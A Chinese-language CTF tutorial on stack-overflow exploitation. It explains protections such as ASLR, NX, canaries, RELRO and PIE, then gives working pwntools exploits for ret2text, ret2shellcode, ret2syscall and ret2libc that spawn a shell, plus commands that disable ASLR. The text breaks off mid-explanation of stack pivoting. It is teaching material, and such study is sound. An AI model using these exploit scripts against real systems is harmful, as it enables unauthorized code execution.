PWN stack overflow

栈介绍

基本栈介绍

栈是一种典型的后进先出( Last in First Out )的数据结构,其操作主要有压栈(push)与出栈(pop)两种操作,如下图所示(维基百科)。两种操作都操作栈顶,当然,它也有栈底。 高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了这一数据结构。每个程序在运行时都有虚拟地址空间,其中某一部分就是该程序对应的栈,用于保存函数调用信息和局部变量。此外,常见的操作也是压栈与出栈。需要注意的是,程序的栈是从进程地址空间的高地址向低地址增长的。 esp/rsp -> 栈顶; ebp/rbp -> 栈底

函数调用栈

32 位和 64 位程序有以下简单的区别

  • x86
  • 函数参数函数返回地址的上方
  • x64
  • System V AMD64 ABI (Linux、FreeBSD、macOS 等采用)中前六个整型或指针参数依次保存在RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果还有更多的参数的话才会保存在栈上。
  • 内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。

保护机制

ASLR

ASLR(Address space layout randomization)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。系统的防护措施,程序装载时生效。 Linux检查是否开启ASLR,可用下面命令: cat /proc/sys/kernel/randomize_va_space 如果/proc/sys/kernel/randomize_va_space里的值为0时,则表示ASLR关闭。 可用下面的命令手动关闭: echo -n "0" > /proc/sys/kernel/randomize_va_space

DEP/NX

数据执行保护,默认栈的权限是可读、可写、不可执行。 gcc编译器默认开启该保护,编译时加上 -z execstack 则关闭该保护,-z noexecstack 是开启该保护。 (-z 是传参给链接器,execstack是使目标文件的栈可以执行)

Canary

编译器对栈溢出的一种保护机制,在函数执行时,先在栈上放置一个随机标识符,函数返回前会先检查标识符是否被修改,如果被修改则直接触发中断来中止程序,可以有效的防止栈溢出攻击。 gcc默认开启 Stack Guard ,编译时加上-fno-stack-protector参数就可以关闭 Stack Guard(CANARY)

High
Address |                 |
+-----------------+
| args            |
+-----------------+
| return address  |
+-----------------+
rbp =>  | old ebp         |
+-----------------+
rbp-8 =>  | canary value    |
+-----------------+
| local variables |
Low     |                 |
Address

RELRO

relro 是一种用于加强对 binary 数据段的保护的技术。relro 分为 partial relro full relro。 参数 -z norelro 是关闭RELRO保护。 Partial RELRO 目前gcc 默认编译就是 partial relro,参数是 -z relro 部分区块(比如:.init_array .fini_array .jcr .dynamic )在被动态装载(初始化)后,就被标记为只读区块。 Full RELRO gcc编译参数是-z relro -z now 拥有 Partial RELRO 的所有特性,整个GOT表映射为只读的 got表全局映射表,plt表存储的函数真实地址。

PIE

PIE(position-independent executable, 地址无关可执行文件) 技术就是一个针对代码段.text, 数据段.*data,.bss等固定地址的一个防护技术。同ASLR一样,应用了PIE的程序会在每次加载时都变换加载基址。 gcc编译器 编译时加上-fpie -pie即开启 PIE,不同 gcc 版本对于 PIE 的默认配置不同,我们可以使用命令gcc -v查看gcc 默认的开关情况。如果含有--enable-default-pie参数则代表 PIE 默认已开启。 编译时加上 -no-pie 关闭PIE保护。没有开启的情况下.text, 数据段.*data,.bss等段的地址是固定的。

栈溢出原理

介绍

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是

  • 程序必须向栈上写入数据。
  • 写入的数据大小没有被良好地控制。

基本示例

最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址,当然需要确保这个地址所在的段具有可执行权限。下面,我们举一个简单的例子:

#include <stdio.h>
#include <string.h>
void success() {
puts("You Hava already controlled it.");
}
void vulnerable() {
char s[12];
gets(s);//用户输入
puts(s);//将用户输入输出
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}

这个程序的主要目的读取一个字符串,并将其输出。我们希望可以控制程序执行 success 函数。 我们利用如下命令对其进行编译

➜  stack-example  gcc -m32 -no-pie -fno-stack-protector -z execstack stack_example.c -o stack_example
stack_example.c: In function ‘vulnerable’:
stack_example.c:6:3: warning: implicit declaration of function ‘gets’ [-Wimplicit-function-declaration]
gets(s);
^
/tmp/ccPU8rRA.o:在函数‘vulnerable’中:
stack_example.c:(.text+0x27): 警告: the `gets' function is dangerous and should not be used.

可以看出 gets 本身是一个危险函数。它从不检查输入字符串的长度,而是以回车来判断输入是否结束,所以很容易可以导致栈溢出,

历史上,莫里斯蠕虫第一种蠕虫病毒就利用了 gets 这个危险函数实现了栈溢出。 编译成功后,可以使用 checksec 工具检查编译出的文件: 安装checksec

sudo apt install checksec
➜  stack-example checksec stack_example
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

为了降低后续漏洞利用复杂度,我们这里关闭 ASLR,在编译时关闭 PIE。。 确认栈溢出和 PIE 保护关闭后,我们利用 IDA 来反编译一下二进制程序并查看 vulnerable 函数 。可以看到

int vulnerable()
{
char s; // [sp+4h] [bp-14h]@1
gets(&s);
return puts(&s);
}

该字符串距离 ebp 的长度为 0x14,那么相应的栈结构为

+-----------------+
|     retaddr     |
+-----------------+
|     saved ebp   |
ebp--->+-----------------+
|                 |
|                 |
|                 |
|                 |
|                 |
|                 |
s,ebp-0x14-->+-----------------+

并且,我们可以通过 IDA 获得 success 的地址,其地址为 0x0804843B。

.text:0804843B success         proc near
.text:0804843B                 push    ebp
.text:0804843C                 mov     ebp, esp
.text:0804843E                 sub     esp, 8
.text:08048441                 sub     esp, 0Ch
.text:08048444                 push    offset s        ; "You Hava already controlled it."
.text:08048449                 call    _puts
.text:0804844E                 add     esp, 10h
.text:08048451                 nop
.text:08048452                 leave
.text:08048453                 retn
.text:08048453 success         endp

那么如果我们读取的字符串为

0x14*'a'+'bbbb'+success_addr

那么,由于 gets 会读到回车才算结束,所以我们可以直接读取所有的字符串,并且将 saved ebp 覆盖为 bbbb,将 retaddr 覆盖为 success_addr,即,此时的栈结构为

+-----------------+
|    0x0804843B   |
+-----------------+
|       bbbb      |
ebp--->+-----------------+
|                 |
|                 |
|                 |
|                 |
|                 |
|                 |
s,ebp-0x14-->+-----------------+

但是需要注意的是,由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即0x0804843B 在内存中的形式是

\x3b\x84\x04\x08

但是,我们又不能直接在终端将这些字符给输入进去,在终端输入的时候\,x等也算一个单独的字符。。所以我们需要想办法将 \x3b 作为一个字符输入进去。那么此时我们就需要使用 pwntools

python -m pip install pwntools

这里利用 pwntools 的代码如下:

##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./stack_example')
success_addr = 0x0804843b
## 构造payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr) # p64()\p16()\p8()
print p32(success_addr)
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()

执行代码,可以得到

➜  stack-example python exp.py
[+] Starting local process './stack_example': pid 61936
;\x84\x0
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaabbbb;\x84\x0
You Hava already controlled it.
[*] Got EOF while reading in interactive
$
[*] Process './stack_example' stopped with exit code -11 (SIGSEGV) (pid 61936)
[*] Got EOF while sending in interactive

可以看到我们确实已经执行 success 函数。

小总结

上面的示例其实也展示了栈溢出中比较重要的几个步骤。

寻找危险函数

确定填充长度

这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址的距离。 一般来说,我们会有如下的覆盖需求

  • 覆盖函数返回地址,这时候就是直接看 EBP 即可。
  • 覆盖栈上某个变量的内容,这时候就需要更加精细的计算了。
  • 覆盖 bss 段某个变量的内容
  • 根据现实执行情况,覆盖特定的变量或地址的内容。 之所以我们想要覆盖某个地址,是因为我们想通过覆盖地址的方法来直接或者间接地控制程序执行流程

基本 ROP

随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在**栈缓冲区溢出的基础上,利用程序中已有的小片段( gadgets )来改变某些寄存器或者变量的值,从而控制程序的执行流程。**所谓gadgets 就是以 ret <==> pop eip;结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。 之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件

  • 程序存在溢出,并且可以控制返回地址。
  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。 如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了。

ret2text

原理

ret2text 即控制程序执行程序本身已有的的代码(.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码(也就是 gadgets),这就是我们所要说的ROP。 这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。

例子

首先,查看一下程序的保护机制

➜  ret2text checksec ret2text
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

可以看出程序是 32 位程序,其仅仅开启了栈不可执行保护。然后,我们使用 IDA 来查看源代码。

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets((char *)&v4);
printf("Maybe I will tell you next time !");
return 0;
}

可以看出程序在主函数中使用了 gets 函数,显然存在栈溢出漏洞。此后又发现

.text:080485FD secure          proc near
.text:080485FD
.text:080485FD input           = dword ptr -10h
.text:080485FD secretcode      = dword ptr -0Ch
.text:080485FD
.text:080485FD                 push    ebp
.text:080485FE                 mov     ebp, esp
.text:08048600                 sub     esp, 28h
.text:08048603                 mov     dword ptr [esp], 0 ; timer
.text:0804860A                 call    _time
.text:0804860F                 mov     [esp], eax      ; seed
.text:08048612                 call    _srand
.text:08048617                 call    _rand
.text:0804861C                 mov     [ebp+secretcode], eax
.text:0804861F                 lea     eax, [ebp+input]
.text:08048622                 mov     [esp+4], eax
.text:08048626                 mov     dword ptr [esp], offset unk_8048760
.text:0804862D                 call    ___isoc99_scanf
.text:08048632                 mov     eax, [ebp+input]
.text:08048635                 cmp     eax, [ebp+secretcode]
.text:08048638                 jnz     short locret_8048646
.text:0804863A                 mov     dword ptr [esp], offset command ; "/bin/sh"
.text:08048641                 call    _system

在 secure 函数又发现了存在调用 system(“/bin/sh”) 的代码,那么如果我们直接控制程序返回至 0x0804863A,那么就可以得到系统的 shell 了。 下面就是我们如何构造 payload 了,首先需要确定的是我们能够控制的内存的起始地址距离 main 函数的返回地址的字节数。

.text:080486A7                 lea     eax, [esp+1Ch]
.text:080486AB                 mov     [esp], eax      ; s
.text:080486AE                 call    _gets

可以看到该字符串是通过相对于 esp 的索引,所以我们需要进行调试,将断点下在 call之后处,查看我们的输入和ebp的相对位置,如下

pwndbg> b *0x080486B3
Breakpoint 1 at 0x80486b3: file ret2text.c, line 25.
pwndbg> r
Starting program: /home/dj/桌面/PWN/ret2text
There is something amazing here, do you know anything?
aaaaaaaaa
Breakpoint 1, main () at ret2text.c:25
.......
......
#此时ebp=0xffffd048
pwndbg> stack 30
00:0000│ esp  0xffffcfc0 —▸ 0xffffcfdc ◂— 'aaaaaaaaa'
01:0004│      0xffffcfc4 ◂— 0x0
02:0008│      0xffffcfc8 ◂— 0x1
03:000c│      0xffffcfcc ◂— 0x0
04:0010│      0xffffcfd0 —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x23f40
05:0014│      0xffffcfd4 —▸ 0xf7ffd918 ◂— 0x0
06:0018│      0xffffcfd8 —▸ 0xffffcff0 ◂— 0xffffffff
07:001c│ eax  0xffffcfdc ◂— 'aaaaaaaaa'

可以看到输入值地址为 0xffffcfdc,ebp 为 0xffffd048,因此,我们可以得到

  • s 相对于 ebp 的偏移为 0x6c
  • s 相对于返回地址的偏移为 0x6c+4 最后的 payload 如下:
##!/usr/bin/env python
from pwn import *
p = process('./ret2text')
system_addr = 0x0804863A
payload = 'a'*0x6c + 'bbbb' + p32(system_addr)
p.sendline(payload)
p.interactive()

ret2shellcode

原理

ret2shellcode,即控制程序执行 shellcode代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。 在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

例子

这里我们以 bamboofox 中的 ret2shellcode 为例 首先检测程序开启的保护

➜  ret2shellcode checksec ret2shellcode
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments

可以看出源程序几乎没有开启任何保护,并且有可读,可写,可执行段。我们再使用 IDA 看一下程序

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets((char *)&v4);
strncpy(buf2, (const char *)&v4, 0x64u);
printf("bye bye ~");
return 0;
}

可以看出,程序仍然是基本的栈溢出漏洞,不过这次还同时将对应的字符串复制到 buf2 处。简单查看可知 buf2 在 bss 段。

.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]

这时,我们简单的调试下程序,看看这一个 bss 段是否可执行。

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000  0x8049000 r-xp     1000 0      /home/dj/桌面/PWN/ret2shellcode
0x8049000  0x804a000 r-xp     1000 0      /home/dj/桌面/PWN/ret2shellcode
0x804a000  0x804b000 rwxp     1000 1000   /home/dj/桌面/PWN/ret2shellcode
0x804b000  0x806c000 rwxp    21000 0      [heap]
0xf7dfd000 0xf7dfe000 rwxp     1000 0
0xf7dfe000 0xf7fae000 r-xp   1b0000 0      /lib/i386-linux-gnu/libc-2.23.so
0xf7fae000 0xf7faf000 ---p     1000 1b0000 /lib/i386-linux-gnu/libc-2.23.so
0xf7faf000 0xf7fb1000 r-xp     2000 1b0000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb1000 0xf7fb2000 rwxp     1000 1b2000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb2000 0xf7fb5000 rwxp     3000 0
0xf7fd3000 0xf7fd4000 rwxp     1000 0
0xf7fd4000 0xf7fd7000 r--p     3000 0      [vvar]
0xf7fd7000 0xf7fd9000 r-xp     2000 0      [vdso]
0xf7fd9000 0xf7ffc000 r-xp    23000 0      /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 r-xp     1000 22000  /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rwxp     1000 23000  /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 rwxp    21000 0      [stack]

通过 vmmap,我们可以看到 bss 段对应的段具有可执行权限

0x804a000  0x804b000 rwxp     1000 1000   /home/dj/桌面/PWN/ret2shellcode

那么这次我们就控制程序执行 shellcode,也就是读入 shellcode,然后控制程序执行 bss 段处的 shellcode。其中,相应的偏移计算类似于 ret2text 中的例子。 具体的 payload 如下

#!/usr/bin/env python
from pwn import *
p = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
p.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
p.interactive()

题目

ret2syscall

原理

ret2syscall,即控制程序执行系统调用,获取 shell。 int 0x80;

例子

首先检测程序开启的保护

➜  ret2syscall checksec rop
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

可以看出,源程序为 32 位,开启了 NX 保护。接下来利用 IDA 来查看源码

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}

可以看出此次仍然是一个栈溢出。类似于之前的做法,我们可以获得 v4 相对于 ebp 的偏移为 108。所以我们需要覆盖的返回地址相对于 v4 的偏移为 112。此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。 int 系统调用手册

  • https://syscalls.w3challs.com/ 简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell
execve("/bin/sh",NULL,NULL)

其中,该程序是 32 位,所以我们需要使得 pop ebx,pop ecx,pop eax;ret ; 0x80BE408,0,0xb

  • 系统调用号,即 eax 应该为 0xb ; pop eax; ret; *(esp) = 0xb -> eax=0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。pop ebx ;ret *(esp)=0x80BE408 -> ebx = 0x080BE408
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0 而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets的方法,我们可以使用 ropgadgets 这个工具。 安装ropgadgets
git clone https://github.com/JonathanSalwan/ROPgadget.git
cd ROPgadget
python setup.py develop

首先,我们来寻找控制 eax 的gadgets

➜  ret2syscall ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

可以看到有上述几个都可以控制 eax,我选取第二个来作为 gadgets。 类似的,我们可以得到控制其它寄存器的 gadgets

➜  ret2syscall ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

这里,我选择

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

这个可以直接控制其它三个寄存器。 此外,我们需要获得 /bin/sh 字符串对应的地址。

➜  ret2syscall ROPgadget --binary rop  --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh

可以找到对应的地址,此外,还有 int 0x80 的地址,如下

➜  ret2syscall ROPgadget --binary rop  --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfc
Unique gadgets found: 4

同时,也找到对应的地址了。 下面就是对应的 payload,其中 0xb 为 execve 对应的系统调用号。

#!/usr/bin/env python
from pwn import *
p = process('./ret2syscall')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = 'a'*0x6c + 'bbbb'
payload += p32(pop_eax_ret)+p32(0xb)
payload += p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(binsh)
payload += p32(int_0x80)
gdb.attach(p)
p.sendline(payload)

题目

ret2libc

原理

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置(即函数对应的 got表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。

例子

我们由简单到难分别给出三个例子。

例1

首先,我们可以检查一下程序的安全保护

➜  ret2libc1 checksec ret2libc1
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

源程序为 32 位,开启了 NX 保护。下面来看一下程序源代码,确定漏洞位置

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets((char *)&v4);
return 0;
}

可以看到在执行 gets 函数的时候出现了栈溢出。此外,利用 ropgadget,我们可以查看是否有 /bin/sh 存在

➜  ret2libc1 ROPgadget --binary ret2libc1 --string '/bin/sh'
Strings information
============================================================
0x08048720 : /bin/sh

确实存在,再次查找一下是否有 system 函数存在。经在 ida 中查找,确实也存在。

.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]

那么,我们直接返回该处,即执行 system 函数。相应的 payload 如下

#!/usr/bin/env python
from pwn import *
p = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = 'a' * 112
payload += p32(system_plt) + 'bbbb' + p32(binsh_addr) # system('/bin/sh');
p.sendline(payload)
p.interactive()

这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以 ‘bbbb’ 作为虚假的地址,其后参数对应的参数内容。 这个例子相对来说简单,同时提供了 system 地址与 /bin/sh 的地址,但是大多数程序并不会有这么好的情况。

例2

该题目与例 1 基本一致,只不过不再出现 /bin/sh 字符串,所以此次需要我们自己来读取字符串,所以我们需要两个 gadgets,第一个控制程序读取字符串,第二个控制程序执行 system(“/bin/sh”)。由于漏洞与上述一致,这里就不在多说,具体的 exp 如下: gets(s) -> overwrite ret_addr -> gets(buf2); 输入’/bin/sh‘ buf2 -> “/bin/sh” system + ret_addr + buf2_addr

##!/usr/bin/env python
from pwn import *
p = process('./ret2libc2')
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx_ret = 0x0804843d
buf2 = 0x804a080
payload = 'a'*112
payload += p32(gets_plt)+p32(pop_ebx_ret)+p32(buf2)
payload += p32(system_plt)+'bbbb'+p32(buf2)
gdb.attach(p)
p.sendline(payload)

需要注意的是,这里向程序中 bss 段的 buf2 处写入 /bin/sh 字符串,并将其地址作为 system 的参数传入。这样以便于可以获得 shell。

例3

在例 2 的基础上,再次将 system 函数的地址去掉。此时,我们需要同时找到 system 函数地址与 /bin/sh 字符串的地址。首先,查看安全保护

没有system
有puts --> puts(&puts);
泄露puts_addr, 在libc找puts静态地址,基地址 = puts_addr - puts静态地址。
在libc找到system和/bin/sh的静态地址,system_addr = 基地址  + system的静态地址。
binsh_addr = 基地址 + binsh的静态地址。
payload = ’a'*112 + p32(system_addr) + ‘bbbb’+p32(binsh_addr)
; system(‘/bin/sh’);
➜  ret2libc3 checksec ret2libc3
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

可以看出,源程序仍旧开启了堆栈不可执行保护。进而查看源码,发现程序的 bug 仍然是栈溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets((char *)&v4);
return 0;
}

那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的12位并不会发生改变。而 libc 在github上有人进行收集,如下
  • https://github.com/niklasb/libc-database 所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system函数的地址。 那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。 我们自然可以根据上面的步骤先得到 libc,之后在程序中查询偏移,然后再次获取 system 地址,但这样手工操作次数太多,有点麻烦,这里给出一个 libc 的利用工具,具体细节请参考 readme
  • https://github.com/lieanu/LibcSearcher 安装LibcSearcher
git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py develop

此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。 这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下

  • 泄露 __libc_start_main 地址
  • 获取 libc 版本
  • 获取 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 触发栈溢出执行 system(‘/bin/sh’) exp 如下
#-*- coding:utf-8-*-
from pwn import *
from LibcSearcher import *
context(os="linux", arch="i386", log_level="debug")
local = 1
if local:
p = process('./ret2libc3')#,env={'LD_PRELOAD':'./libc.so.6'})
else:
p = remote('node4.buuoj.cn',)
elf = ELF('ret2libc3')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
o_g = [0x45226,0x4527a,0xf0364,0xf1207]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def get_addr(addr, name, get_addr_name, mode=1):
if mode:
return addr-libc.sym[name]+libc.sym[get_addr_name]
else:
return addr-libc.dump(name)+libc.dump(get_addr_name)
# shellcode = asm(shellcraft.sh(),arch='amd64', os='linux')
puts_plt = elf.plt['puts']
libc_start_main_got = elf.got['__libc_start_main']
main_addr = 0x08048618
payload = 'a'*112 + p32(puts_plt) + p32(main_addr) + p32(libc_start_main_got)
p.sendline(payload)
libc_start_main = l32()
gdb.attach(p)
# local
libc = elf.libc
libc_base = libc_start_main - libc.sym['__libc_start_main']
system_addr = libc_base + libc.sym['system']
binsh = libc_base + libc.search('/bin/sh').next()
# remote --- use LibcSearcher
# libc = LibcSearcher('__libc_start_main', libc_start_main)
# libc_base = libc_start_main - libc.dump('__libc_start_main')
# system_addr = libcbase + libc.dump('system')
# binsh = libcbase + libc.dump('str_bin_sh')
lg('libc_start_main', libc_start_main)
lg('system_addr', system_addr)
lg('libc_base',libc_base)
lg('binsh',binsh)
payload = 'c'*104
payload += p32(system_addr)+'bbbb' + p32(binsh)
p.sendline(payload)
p.interactive()

题目

  • warmup_csaw_2016
  • others_babystack
  • pwn3

栈迁移技术

原理

概括地讲,我们在之前讲的栈溢出不外乎两种方式

  • 控制程序 EIP
  • 控制程序 EBP 其最终都是控制程序的执行流。在栈迁移中,我们所利用的技巧便是同时控制 EBP 与 EIP,这样我们在控制程序执行流的同时,也改变程序栈帧的位置。一般来说其 payload 如下
buffer padding|fake ebp|leave ret addr|

即我们利用栈溢出将栈上构造为如上格式。这里我们主要讲下后面两个部分

  • 函数的返回地址被我们覆盖为执行 leave ret 的地址,这就表明了函数在正常执行完自己的 leave ret 后,还会再次执行一次 leave ret。
  • 其中 fake ebp 为我们构造的栈帧的基地址,需要注意的是这里是一个地址。一般来说我们构造的假的栈帧如下
fake ebp
|
v
ebp2|target function addr|leave ret addr|arg1|arg2

这里我们的 fake ebp 指向 ebp2,即它为 ebp2 所在的地址。通常来说,这里都是我们能够控制的可读的内容。 下面的汇编语法是 intel 语法。 在我们介绍基本的控制过程之前,我们还是有必要说一下,函数的入口点与出口点的基本操作 入口点

push ebp  # 将ebp压栈
mov ebp, esp #将esp的值赋给ebp

出口点

leave
ret #pop eip,弹出栈顶元素作为程序下一个执行地址

其中 leave 指令相当于

mov esp, ebp # 将ebp的值赋给esp
